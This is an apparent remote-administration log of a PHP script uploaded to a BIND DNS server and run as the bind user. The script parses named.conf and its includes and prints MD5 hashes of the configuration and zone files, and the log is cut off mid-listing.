MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 12:45:53: Establishing a connection
2026-07-15 12:45:54: 

PUT: /tmp/pkp971420

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 12:45:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp971420; rm /tmp/pkp971420'

2026-07-15 12:45:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:00:50: Establishing a connection
2026-07-15 13:00:50: 

PUT: /tmp/pkp680255

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:00:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp680255; rm /tmp/pkp680255'

2026-07-15 13:00:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
